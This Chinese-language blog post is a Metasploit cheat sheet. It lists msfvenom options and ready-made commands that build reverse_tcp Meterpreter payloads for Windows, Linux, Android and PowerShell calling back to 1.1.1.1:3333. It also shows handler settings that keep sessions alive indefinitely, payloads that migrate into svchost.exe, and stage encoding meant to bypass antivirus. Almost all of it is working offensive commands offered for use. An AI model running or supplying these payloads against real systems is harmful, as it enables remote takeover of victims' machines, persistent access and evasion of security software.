常用查看

msfvenom --list encoders #查看所有编码器
msfvenom -p windows/meterpreter/reverse_tcp --list-options #查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项
msfvenom --list payloads #查看所有payloads

```

## msfvenom常见参数
-p, –payload < payload>> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length>> 为payload预先指定一个NOP滑动长度
-f, –format < format>> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture>> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform>> 指定payload的目标平台
-s, –space < length>> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list>> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count>> 指定payload的编码次数
-c, –add-code < path>> 指定一个附加的win32 shellcode文件
-x, –template < path>> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path>> 指定创建好的payload的存放位置
-v, –var-name < name>> 指定一个自定义的变量,以确定输出格式
```


## payloads生成
Windows
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=1.1.1.1 lport=3333 -f exe > /home/shell.exe 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -a x86 --platform Windows -f exe >> shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f exe >> shell.exe
```


Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -a x86 --platform Linux -f elf >> shell.elf
```


Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw >> shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 R >> test.apk
```


Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=1.1.1.1 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
```


## 监听设置
快捷建立监听
msf5 >> handler -H 1.1.1.1 -P 3333 -p windows/meterpreter/reverse_tcp #-h接IP,-p接端口
```


经常使用监听
msf5 >> use exploit/multi/handler 
msf5 exploit(multi/handler) >> set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >> set lhost 1.1.1.1
msf5 exploit(multi/handler) >> set lport 5555
msf5 exploit(multi/handler) >> run -j -z
```


## 监听重要设置
防止假Session
msf exploit(multi/handler) >> set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。
```


防止Session意外退出
msf5 exploit(multi/handler) >> set SessionCommunicationTimeout 0  #默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) >> set SessionExpirationTimeout 0 #默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
```


后台持续监测
msf exploit(multi/handler) >> exploit -j -z  #-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。
```


生成直接注入进程程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe  #执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。
```


## 绕过
生成payloads
msfvenom -p windows/meterpreter/reverse_https lhost=1.1.1.1 lport=3333 -f c
```


控制端向被控制端编码
msf exploit(multi/handler) >> set EnableStageEncoding true   #尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
msf exploit(multi/handler) >> set stageencoder x86/fnstenv_mov
msf exploit(multi/handler) >> set stageencodingfallback false

```
正文到此结束

本文标题:Msf-笔记

本文链接:https://www.hantaosec.com/1913.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源及链接,不带链接禁止任何转载!访问任何网络安全相关文章,则视为默认接受网络安全文章免责声明 ,请认真阅读。

喜欢我的文章吗?
别忘了点赞或赞赏,让我知道创作的路上有你陪伴。